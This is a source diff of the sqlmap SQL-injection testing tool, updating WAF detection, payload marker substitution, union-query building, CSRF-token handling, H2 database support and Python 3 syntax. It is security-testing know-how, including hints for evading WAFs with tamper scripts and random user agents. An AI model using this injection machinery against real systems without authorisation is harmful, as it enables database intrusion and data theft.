@@ -1433,9 +1441,9 @@ def identifyWaf():
continue continue
try: try:
logger.debug("checking for WAF/IPS/IDS product '%s'" % product) logger.debug("checking for WAF/IPS product '%s'" % product)
found = function(_) found = function(_)
except Exception, ex: except Exception as ex:
errMsg = "exception occurred while running " errMsg = "exception occurred while running "
errMsg += "WAF script for '%s' ('%s')" % (product, getSafeExString(ex)) errMsg += "WAF script for '%s' ('%s')" % (product, getSafeExString(ex))
logger.critical(errMsg) logger.critical(errMsg)
@@ -1443,19 +1451,19 @@ def identifyWaf():
found = False found = False
if found: if found:
errMsg = "WAF/IPS/IDS identified as '%s'" % product errMsg = "WAF/IPS identified as '%s'" % product
logger.critical(errMsg) logger.critical(errMsg)
retVal.append(product) retVal.append(product)
if retVal: if retVal:
if kb.wafSpecificResponse and len(retVal) == 1 and "unknown" in retVal[0].lower(): if kb.wafSpecificResponse and "You don't have permission to access" not in kb.wafSpecificResponse and len(retVal) == 1 and "unknown" in retVal[0].lower():
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.SPECIFIC_RESPONSE) handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.SPECIFIC_RESPONSE)
os.close(handle) os.close(handle)
with openFile(filename, "w+b") as f: with openFile(filename, "w+b") as f:
f.write(kb.wafSpecificResponse) f.write(kb.wafSpecificResponse)
message = "WAF/IPS/IDS specific response can be found in '%s'. " % filename message = "WAF/IPS specific response can be found in '%s'. " % filename
message += "If you know the details on used protection please " message += "If you know the details on used protection please "
message += "report it along with specific response " message += "report it along with specific response "
message += "to '%s'" % DEV_EMAIL_ADDRESS message += "to '%s'" % DEV_EMAIL_ADDRESS
@@ -1472,7 +1480,7 @@ def identifyWaf():
if not choice: if not choice:
raise SqlmapUserQuitException raise SqlmapUserQuitException
else: else:
warnMsg = "WAF/IPS/IDS product hasn't been identified" warnMsg = "WAF/IPS product hasn't been identified"
logger.warn(warnMsg) logger.warn(warnMsg)
kb.testType = None kb.testType = None
@@ -1538,10 +1546,14 @@ def checkConnection(suppressOutput=False):
except socket.gaierror: except socket.gaierror:
errMsg = "host '%s' does not exist" % conf.hostname errMsg = "host '%s' does not exist" % conf.hostname
raise SqlmapConnectionException(errMsg) raise SqlmapConnectionException(errMsg)
except socket.error, ex: except socket.error as ex:
errMsg = "problem occurred while " errMsg = "problem occurred while "
errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex)) errMsg += "resolving a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex))
raise SqlmapConnectionException(errMsg) raise SqlmapConnectionException(errMsg)
except UnicodeError as ex:
errMsg = "problem occurred while "
errMsg += "handling a host name '%s' ('%s')" % (conf.hostname, getSafeExString(ex))
raise SqlmapDataException(errMsg)
if not suppressOutput and not conf.dummy and not conf.offline: if not suppressOutput and not conf.dummy and not conf.offline:
infoMsg = "testing connection to the target URL" infoMsg = "testing connection to the target URL"
@@ -1554,6 +1566,10 @@ def checkConnection(suppressOutput=False):
kb.errorIsNone = False kb.errorIsNone = False
if any(_ in (kb.serverHeader or "") for _ in PRECONNECT_INCOMPATIBLE_SERVERS):
singleTimeWarnMessage("turning off pre-connect mechanism because of incompatible server ('%s')" % kb.serverHeader)
conf.disablePrecon = True
if not kb.originalPage and wasLastResponseHTTPError(): if not kb.originalPage and wasLastResponseHTTPError():
errMsg = "unable to retrieve page content" errMsg = "unable to retrieve page content"
raise SqlmapConnectionException(errMsg) raise SqlmapConnectionException(errMsg)
@@ -1576,9 +1592,9 @@ def checkConnection(suppressOutput=False):
conf.url = re.sub(r"https?://", "https://", conf.url) conf.url = re.sub(r"https?://", "https://", conf.url)
match = re.search(r":(\d+)", threadData.lastRedirectURL[1]) match = re.search(r":(\d+)", threadData.lastRedirectURL[1])
port = match.group(1) if match else 443 port = match.group(1) if match else 443
conf.url = re.sub(r":\d+/", ":%s/" % port, conf.url) conf.url = re.sub(r":\d+(/|\Z)", ":%s\g<1>" % port, conf.url)
except SqlmapConnectionException, ex: except SqlmapConnectionException as ex:
if conf.ipv6: if conf.ipv6:
warnMsg = "check connection to a provided " warnMsg = "check connection to a provided "
warnMsg += "IPv6 address with a tool like ping6 " warnMsg += "IPv6 address with a tool like ping6 "
+31 -17
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -56,9 +56,11 @@ from lib.core.exception import SqlmapNoneDataException
from lib.core.exception import SqlmapNotVulnerableException from lib.core.exception import SqlmapNotVulnerableException
from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapSilentQuitException
from lib.core.exception import SqlmapSkipTargetException from lib.core.exception import SqlmapSkipTargetException
from lib.core.exception import SqlmapSystemException
from lib.core.exception import SqlmapValueException from lib.core.exception import SqlmapValueException
from lib.core.exception import SqlmapUserQuitException from lib.core.exception import SqlmapUserQuitException
from lib.core.settings import ASP_NET_CONTROL_REGEX from lib.core.settings import ASP_NET_CONTROL_REGEX
from lib.core.settings import CSRF_TOKEN_PARAMETER_INFIXES
from lib.core.settings import DEFAULT_GET_POST_DELIMITER from lib.core.settings import DEFAULT_GET_POST_DELIMITER
from lib.core.settings import EMPTY_FORM_FIELDS_REGEX from lib.core.settings import EMPTY_FORM_FIELDS_REGEX
from lib.core.settings import IGNORE_PARAMETERS from lib.core.settings import IGNORE_PARAMETERS
@@ -69,6 +71,7 @@ from lib.core.settings import REFERER_ALIASES
from lib.core.settings import USER_AGENT_ALIASES from lib.core.settings import USER_AGENT_ALIASES
from lib.core.target import initTargetEnv from lib.core.target import initTargetEnv
from lib.core.target import setupTargetEnv from lib.core.target import setupTargetEnv
from lib.utils.hash import crackHashFile
def _selectInjection(): def _selectInjection():
""" """
@@ -87,7 +90,7 @@ def _selectInjection():
if point not in points: if point not in points:
points[point] = injection points[point] = injection
else: else:
for key in points[point].keys(): for key in points[point]:
if key != 'data': if key != 'data':
points[point][key] = points[point][key] or injection[key] points[point][key] = points[point][key] or injection[key]
points[point]['data'].update(injection['data']) points[point]['data'].update(injection['data'])
@@ -241,18 +244,22 @@ def _saveToResultsFile():
if key not in results: if key not in results:
results[key] = [] results[key] = []
results[key].extend(injection.data.keys()) results[key].extend(list(injection.data.keys()))
for key, value in results.items(): try:
place, parameter, notes = key for key, value in results.items():
line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep) place, parameter, notes = key
conf.resultsFP.write(line) line = "%s,%s,%s,%s,%s%s" % (safeCSValue(kb.originalUrls.get(conf.url) or conf.url), place, parameter, "".join(techniques[_][0].upper() for _ in sorted(value)), notes, os.linesep)
conf.resultsFP.write(line)
if not results: if not results:
line = "%s,,,,%s" % (conf.url, os.linesep) line = "%s,,,,%s" % (conf.url, os.linesep)
conf.resultsFP.write(line) conf.resultsFP.write(line)
conf.resultsFP.flush() conf.resultsFP.flush()
except IOError as ex:
errMsg = "unable to write to the results file '%s' ('%s'). " % (conf.resultsFilename, getSafeExString(ex))
raise SqlmapSystemException(errMsg)
@stackedmethod @stackedmethod
def start(): def start():
@@ -262,6 +269,9 @@ def start():
check if they are dynamic and SQL injection affected check if they are dynamic and SQL injection affected
""" """
if conf.hashFile:
crackHashFile(conf.hashFile)
if conf.direct: if conf.direct:
initTargetEnv() initTargetEnv()
setupTargetEnv() setupTargetEnv()
@@ -307,6 +317,7 @@ def start():
conf.cookie = targetCookie conf.cookie = targetCookie
conf.httpHeaders = list(initialHeaders) conf.httpHeaders = list(initialHeaders)
conf.httpHeaders.extend(targetHeaders or []) conf.httpHeaders.extend(targetHeaders or [])
conf.httpHeaders = [conf.httpHeaders[i] for i in xrange(len(conf.httpHeaders)) if conf.httpHeaders[i][0].upper() not in (__[0].upper() for __ in conf.httpHeaders[i + 1:])]
initTargetEnv() initTargetEnv()
parseTargetUrl() parseTargetUrl()
@@ -416,7 +427,7 @@ def start():
checkStability() checkStability()
# Do a little prioritization reorder of a testable parameter list # Do a little prioritization reorder of a testable parameter list
parameters = conf.parameters.keys() parameters = list(conf.parameters.keys())
# Order of testing list (first to last) # Order of testing list (first to last)
orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET) orderList = (PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER, PLACE.URI, PLACE.POST, PLACE.GET)
@@ -480,7 +491,7 @@ def start():
elif parameter in conf.testParameter: elif parameter in conf.testParameter:
pass pass
elif parameter == conf.rParam: elif parameter in conf.rParam:
testSqlInj = False testSqlInj = False
infoMsg = "skipping randomizing %s parameter '%s'" % (paramType, parameter) infoMsg = "skipping randomizing %s parameter '%s'" % (paramType, parameter)
@@ -498,14 +509,14 @@ def start():
infoMsg = "skipping %s parameter '%s'" % (paramType, parameter) infoMsg = "skipping %s parameter '%s'" % (paramType, parameter)
logger.info(infoMsg) logger.info(infoMsg)
elif parameter == conf.csrfToken: elif conf.csrfToken and re.search(conf.csrfToken, parameter, re.I):
testSqlInj = False testSqlInj = False
infoMsg = "skipping anti-CSRF token parameter '%s'" % parameter infoMsg = "skipping anti-CSRF token parameter '%s'" % parameter
logger.info(infoMsg) logger.info(infoMsg)
# Ignore session-like parameters for --level < 4 # Ignore session-like parameters for --level < 4
elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)): elif conf.level < 4 and (parameter.upper() in IGNORE_PARAMETERS or any(_ in parameter.lower() for _ in CSRF_TOKEN_PARAMETER_INFIXES) or parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX)):
testSqlInj = False testSqlInj = False
infoMsg = "ignoring %s parameter '%s'" % (paramType, parameter) infoMsg = "ignoring %s parameter '%s'" % (paramType, parameter)
@@ -524,7 +535,7 @@ def start():
testSqlInj = False testSqlInj = False
else: else:
infoMsg = "%s parameter '%s' is dynamic" % (paramType, parameter) infoMsg = "%s parameter '%s' appears to be dynamic" % (paramType, parameter)
logger.info(infoMsg) logger.info(infoMsg)
kb.testedParams.add(paramKey) kb.testedParams.add(paramKey)
@@ -631,6 +642,9 @@ def start():
errMsg += "involved (e.g. WAF) maybe you could try to use " errMsg += "involved (e.g. WAF) maybe you could try to use "
errMsg += "option '--tamper' (e.g. '--tamper=space2comment')" errMsg += "option '--tamper' (e.g. '--tamper=space2comment')"
if not conf.randomAgent:
errMsg += " and/or switch '--random-agent'"
raise SqlmapNotVulnerableException(errMsg.rstrip('.')) raise SqlmapNotVulnerableException(errMsg.rstrip('.'))
else: else:
# Flush the flag # Flush the flag
@@ -675,7 +689,7 @@ def start():
except SqlmapSilentQuitException: except SqlmapSilentQuitException:
raise raise
except SqlmapBaseException, ex: except SqlmapBaseException as ex:
errMsg = getSafeExString(ex) errMsg = getSafeExString(ex)
if conf.multipleTargets: if conf.multipleTargets:
+30 -13
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -10,6 +10,7 @@ from lib.core.data import conf
from lib.core.data import kb from lib.core.data import kb
from lib.core.dicts import DBMS_DICT from lib.core.dicts import DBMS_DICT
from lib.core.enums import DBMS from lib.core.enums import DBMS
from lib.core.exception import SqlmapConnectionException
from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MSSQL_ALIASES
from lib.core.settings import MYSQL_ALIASES from lib.core.settings import MYSQL_ALIASES
from lib.core.settings import ORACLE_ALIASES from lib.core.settings import ORACLE_ALIASES
@@ -21,6 +22,7 @@ from lib.core.settings import MAXDB_ALIASES
from lib.core.settings import SYBASE_ALIASES from lib.core.settings import SYBASE_ALIASES
from lib.core.settings import DB2_ALIASES from lib.core.settings import DB2_ALIASES
from lib.core.settings import HSQLDB_ALIASES from lib.core.settings import HSQLDB_ALIASES
from lib.core.settings import H2_ALIASES
from lib.core.settings import INFORMIX_ALIASES from lib.core.settings import INFORMIX_ALIASES
from lib.utils.sqlalchemy import SQLAlchemy from lib.utils.sqlalchemy import SQLAlchemy
@@ -46,6 +48,8 @@ from plugins.dbms.db2 import DB2Map
from plugins.dbms.db2.connector import Connector as DB2Conn from plugins.dbms.db2.connector import Connector as DB2Conn
from plugins.dbms.hsqldb import HSQLDBMap from plugins.dbms.hsqldb import HSQLDBMap
from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn
from plugins.dbms.h2 import H2Map
from plugins.dbms.h2.connector import Connector as H2Conn
from plugins.dbms.informix import InformixMap from plugins.dbms.informix import InformixMap
from plugins.dbms.informix.connector import Connector as InformixConn from plugins.dbms.informix.connector import Connector as InformixConn
@@ -67,6 +71,7 @@ def setHandler():
(DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn), (DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
(DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn), (DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
(DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn), (DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
(DBMS.H2, H2_ALIASES, H2Map, H2Conn),
(DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn), (DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
] ]
@@ -90,29 +95,41 @@ def setHandler():
conf.dbmsConnector = Connector() conf.dbmsConnector = Connector()
if conf.direct: if conf.direct:
exception = None
dialect = DBMS_DICT[dbms][3] dialect = DBMS_DICT[dbms][3]
if dialect: if dialect:
sqlalchemy = SQLAlchemy(dialect=dialect) try:
sqlalchemy.connect() sqlalchemy = SQLAlchemy(dialect=dialect)
sqlalchemy.connect()
if sqlalchemy.connector: if sqlalchemy.connector:
conf.dbmsConnector = sqlalchemy conf.dbmsConnector = sqlalchemy
else: except Exception as ex:
try: exception = ex
conf.dbmsConnector.connect()
except NameError: if not dialect or exception:
pass try:
else: conf.dbmsConnector.connect()
conf.dbmsConnector.connect() except Exception as ex:
if exception:
raise exception
else:
if not isinstance(ex, NameError):
raise
else:
msg = "support for direct connection to '%s' is not available. " % dbms
msg += "Please rerun with '--dependencies'"
raise SqlmapConnectionException(msg)
if conf.forceDbms == dbms or handler.checkDbms(): if conf.forceDbms == dbms or handler.checkDbms():
if kb.resolutionDbms: if kb.resolutionDbms:
conf.dbmsHandler = max(_ for _ in items if _[0] == kb.resolutionDbms)[2]() conf.dbmsHandler = max(_ for _ in items if _[0] == kb.resolutionDbms)[2]()
conf.dbmsHandler._dbms = kb.resolutionDbms
else: else:
conf.dbmsHandler = handler conf.dbmsHandler = handler
conf.dbmsHandler._dbms = dbms
conf.dbmsHandler._dbms = dbms
break break
else: else:
conf.dbmsConnector = None conf.dbmsConnector = None
+1 -1
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
+17 -9
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -43,6 +43,7 @@ from lib.core.settings import INFERENCE_MARKER
from lib.core.settings import NULL from lib.core.settings import NULL
from lib.core.settings import PAYLOAD_DELIMITER from lib.core.settings import PAYLOAD_DELIMITER
from lib.core.settings import REPLACEMENT_MARKER from lib.core.settings import REPLACEMENT_MARKER
from lib.core.settings import SINGLE_QUOTE_MARKER
from lib.core.settings import SLEEP_TIME_MARKER from lib.core.settings import SLEEP_TIME_MARKER
from lib.core.unescaper import unescaper from lib.core.unescaper import unescaper
@@ -106,7 +107,7 @@ class Agent(object):
else: else:
origValue = filter(None, (re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z")))[0].group(0) origValue = filter(None, (re.search(_, origValue.split(BOUNDED_INJECTION_MARKER)[0]) for _ in (r"\w+\Z", r"[^\"'><]+\Z", r"[^ ]+\Z")))[0].group(0)
origValue = origValue[origValue.rfind('/') + 1:] origValue = origValue[origValue.rfind('/') + 1:]
for char in ('?', '=', ':', ','): for char in ('?', '=', ':', ',', '&'):
if char in origValue: if char in origValue:
origValue = origValue[origValue.rfind(char) + 1:] origValue = origValue[origValue.rfind(char) + 1:]
elif place == PLACE.CUSTOM_POST: elif place == PLACE.CUSTOM_POST:
@@ -246,6 +247,9 @@ class Agent(object):
else: else:
query = kb.injection.prefix or prefix or "" query = kb.injection.prefix or prefix or ""
if "SELECT '[RANDSTR]'" in query: # escaping of pre-WHERE prefixes
query = query.replace("'[RANDSTR]'", unescaper.escape(randomStr(), quote=False))
if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('): if not (expression and expression[0] == ';') and not (query and query[-1] in ('(', ')') and expression and expression[0] in ('(', ')')) and not (query and query[-1] == '('):
query += " " query += " "
@@ -311,9 +315,12 @@ class Agent(object):
for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)): for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)):
payload = payload.replace(_, randomStr()) payload = payload.replace(_, randomStr())
if origValue is not None and "[ORIGVALUE]" in payload: if origValue is not None:
origValue = getUnicode(origValue) origValue = getUnicode(origValue)
payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue)) if "[ORIGVALUE]" in payload:
payload = getUnicode(payload).replace("[ORIGVALUE]", origValue if origValue.isdigit() else unescaper.escape("'%s'" % origValue))
if "[ORIGINAL]" in payload:
payload = getUnicode(payload).replace("[ORIGINAL]", origValue)
if INFERENCE_MARKER in payload: if INFERENCE_MARKER in payload:
if Backend.getIdentifiedDbms() is not None: if Backend.getIdentifiedDbms() is not None:
@@ -342,6 +349,7 @@ class Agent(object):
if payload: if payload:
payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec)) payload = payload.replace(SLEEP_TIME_MARKER, str(conf.timeSec))
payload = payload.replace(SINGLE_QUOTE_MARKER, "'")
for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)): for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)):
payload = payload.replace(_, str(randomInt())) payload = payload.replace(_, str(randomInt()))
@@ -616,7 +624,7 @@ class Agent(object):
elif fieldsNoSelect: elif fieldsNoSelect:
concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop) concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop)
elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB): elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2):
if fieldsExists: if fieldsExists:
concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1)
concatenatedQuery += "||'%s'" % kb.chars.stop concatenatedQuery += "||'%s'" % kb.chars.stop
@@ -815,7 +823,7 @@ class Agent(object):
limitRegExp2 = None limitRegExp2 = None
if (limitRegExp or limitRegExp2) or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit): if (limitRegExp or limitRegExp2) or (Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and topLimit):
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query limitGroupStart = queries[Backend.getIdentifiedDbms()].limitgroupstart.query
limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query limitGroupStop = queries[Backend.getIdentifiedDbms()].limitgroupstop.query
@@ -905,14 +913,14 @@ class Agent(object):
fromFrom = limitedQuery[fromIndex + 1:] fromFrom = limitedQuery[fromIndex + 1:]
orderBy = None orderBy = None
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2):
limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1)
limitedQuery += " %s" % limitStr limitedQuery += " %s" % limitStr
elif Backend.isDbms(DBMS.HSQLDB): elif Backend.isDbms(DBMS.HSQLDB):
match = re.search(r"ORDER BY [^ ]+", limitedQuery) match = re.search(r"ORDER BY [^ ]+", limitedQuery)
if match: if match:
limitedQuery = re.sub(r"\s*%s\s*" % match.group(0), " ", limitedQuery).strip() limitedQuery = re.sub(r"\s*%s\s*" % re.escape(match.group(0)), " ", limitedQuery).strip()
limitedQuery += " %s" % match.group(0) limitedQuery += " %s" % match.group(0)
if query.startswith("SELECT "): if query.startswith("SELECT "):
@@ -1086,7 +1094,7 @@ class Agent(object):
if conf.dumpWhere and query: if conf.dumpWhere and query:
prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "") prefix, suffix = query.split(" ORDER BY ") if " ORDER BY " in query else (query, "")
if "%s)" % conf.tbl.upper() in prefix.upper(): if conf.tbl and "%s)" % conf.tbl.upper() in prefix.upper():
prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix) prefix = re.sub(r"(?i)%s\)" % re.escape(conf.tbl), "%s WHERE %s)" % (conf.tbl, conf.dumpWhere), prefix)
elif re.search(r"(?i)\bWHERE\b", prefix): elif re.search(r"(?i)\bWHERE\b", prefix):
prefix += " AND %s" % conf.dumpWhere prefix += " AND %s" % conf.dumpWhere
+6 -6
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -87,7 +87,7 @@ class BigArray(list):
try: try:
with open(self.chunks[-1], "rb") as f: with open(self.chunks[-1], "rb") as f:
self.chunks[-1] = pickle.loads(bz2.decompress(f.read())) self.chunks[-1] = pickle.loads(bz2.decompress(f.read()))
except IOError, ex: except IOError as ex:
errMsg = "exception occurred while retrieving data " errMsg = "exception occurred while retrieving data "
errMsg += "from a temporary file ('%s')" % ex.message errMsg += "from a temporary file ('%s')" % ex.message
raise SqlmapSystemException(errMsg) raise SqlmapSystemException(errMsg)
@@ -109,7 +109,7 @@ class BigArray(list):
with open(filename, "w+b") as f: with open(filename, "w+b") as f:
f.write(bz2.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL)) f.write(bz2.compress(pickle.dumps(chunk, pickle.HIGHEST_PROTOCOL), BIGARRAY_COMPRESS_LEVEL))
return filename return filename
except (OSError, IOError), ex: except (OSError, IOError) as ex:
errMsg = "exception occurred while storing data " errMsg = "exception occurred while storing data "
errMsg += "to a temporary file ('%s'). Please " % ex.message errMsg += "to a temporary file ('%s'). Please " % ex.message
errMsg += "make sure that there is enough disk space left. If problem persists, " errMsg += "make sure that there is enough disk space left. If problem persists, "
@@ -126,7 +126,7 @@ class BigArray(list):
try: try:
with open(self.chunks[index], "rb") as f: with open(self.chunks[index], "rb") as f:
self.cache = Cache(index, pickle.loads(bz2.decompress(f.read())), False) self.cache = Cache(index, pickle.loads(bz2.decompress(f.read())), False)
except IOError, ex: except Exception as ex:
errMsg = "exception occurred while retrieving data " errMsg = "exception occurred while retrieving data "
errMsg += "from a temporary file ('%s')" % ex.message errMsg += "from a temporary file ('%s')" % ex.message
raise SqlmapSystemException(errMsg) raise SqlmapSystemException(errMsg)
@@ -148,7 +148,7 @@ class BigArray(list):
if y < 0: if y < 0:
y += len(self) y += len(self)
index = y / self.chunk_length index = y // self.chunk_length
offset = y % self.chunk_length offset = y % self.chunk_length
chunk = self.chunks[index] chunk = self.chunks[index]
@@ -159,7 +159,7 @@ class BigArray(list):
return self.cache.data[offset] return self.cache.data[offset]
def __setitem__(self, y, value): def __setitem__(self, y, value):
index = y / self.chunk_length index = y // self.chunk_length
offset = y % self.chunk_length offset = y % self.chunk_length
chunk = self.chunks[index] chunk = self.chunks[index]
+222 -86
View File
@@ -1,7 +1,7 @@
#!/usr/bin/env python #!/usr/bin/env python
""" """
Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission See the file 'LICENSE' for copying permission
""" """
@@ -84,6 +84,7 @@ from lib.core.enums import PLACE
from lib.core.enums import PAYLOAD from lib.core.enums import PAYLOAD
from lib.core.enums import REFLECTIVE_COUNTER from lib.core.enums import REFLECTIVE_COUNTER
from lib.core.enums import SORT_ORDER from lib.core.enums import SORT_ORDER
from lib.core.exception import SqlmapBaseException
from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapDataException
from lib.core.exception import SqlmapGenericException from lib.core.exception import SqlmapGenericException
from lib.core.exception import SqlmapNoneDataException from lib.core.exception import SqlmapNoneDataException
@@ -146,6 +147,7 @@ from lib.core.settings import PRINTABLE_CHAR_REGEX
from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS
from lib.core.settings import PUSH_VALUE_EXCEPTION_RETRY_COUNT from lib.core.settings import PUSH_VALUE_EXCEPTION_RETRY_COUNT
from lib.core.settings import PYVERSION from lib.core.settings import PYVERSION
from lib.core.settings import RANDOMIZATION_TLDS
from lib.core.settings import REFERER_ALIASES from lib.core.settings import REFERER_ALIASES
from lib.core.settings import REFLECTED_BORDER_REGEX from lib.core.settings import REFLECTED_BORDER_REGEX
from lib.core.settings import REFLECTED_MAX_REGEX_PARTS from lib.core.settings import REFLECTED_MAX_REGEX_PARTS
@@ -600,7 +602,7 @@ def paramToDict(place, parameters=None):
if condition: if condition:
testableParameters[parameter] = "=".join(parts[1:]) testableParameters[parameter] = "=".join(parts[1:])
if not conf.multipleTargets and not (conf.csrfToken and parameter == conf.csrfToken): if not conf.multipleTargets and not (conf.csrfToken and re.search(conf.csrfToken, parameter, re.I)):
_ = urldecode(testableParameters[parameter], convall=True) _ = urldecode(testableParameters[parameter], convall=True)
if (_.endswith("'") and _.count("'") == 1 or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _)) and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX): if (_.endswith("'") and _.count("'") == 1 or re.search(r'\A9{3,}', _) or re.search(r'\A-\d+\Z', _) or re.search(DUMMY_USER_INJECTION, _)) and not parameter.upper().startswith(GOOGLE_ANALYTICS_COOKIE_PREFIX):
warnMsg = "it appears that you have provided tainted parameter values " warnMsg = "it appears that you have provided tainted parameter values "
@@ -645,7 +647,7 @@ def paramToDict(place, parameters=None):
current[key] = "%s%s" % (getUnicode(value).lower(), BOUNDED_INJECTION_MARKER) current[key] = "%s%s" % (getUnicode(value).lower(), BOUNDED_INJECTION_MARKER)
else: else:
current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER) current[key] = "%s%s" % (value, BOUNDED_INJECTION_MARKER)
candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized), parameters) candidates["%s (%s)" % (parameter, key)] = re.sub(r"\b(%s\s*=\s*)%s" % (re.escape(parameter), re.escape(testableParameters[parameter])), r"\g<1>%s" % json.dumps(deserialized, separators=(',', ':') if ", " not in testableParameters[parameter] else None), parameters)
current[key] = original current[key] = original
deserialized = json.loads(testableParameters[parameter]) deserialized = json.loads(testableParameters[parameter])
@@ -688,7 +690,7 @@ def paramToDict(place, parameters=None):
debugMsg += "is not inside the %s" % place debugMsg += "is not inside the %s" % place
logger.debug(debugMsg) logger.debug(debugMsg)
elif len(conf.testParameter) != len(testableParameters.keys()): elif len(conf.testParameter) != len(testableParameters):
for parameter in conf.testParameter: for parameter in conf.testParameter:
if parameter not in testableParameters: if parameter not in testableParameters:
debugMsg = "provided parameter '%s' " % parameter debugMsg = "provided parameter '%s' " % parameter
@@ -872,9 +874,9 @@ def boldifyMessage(message):
return retVal return retVal
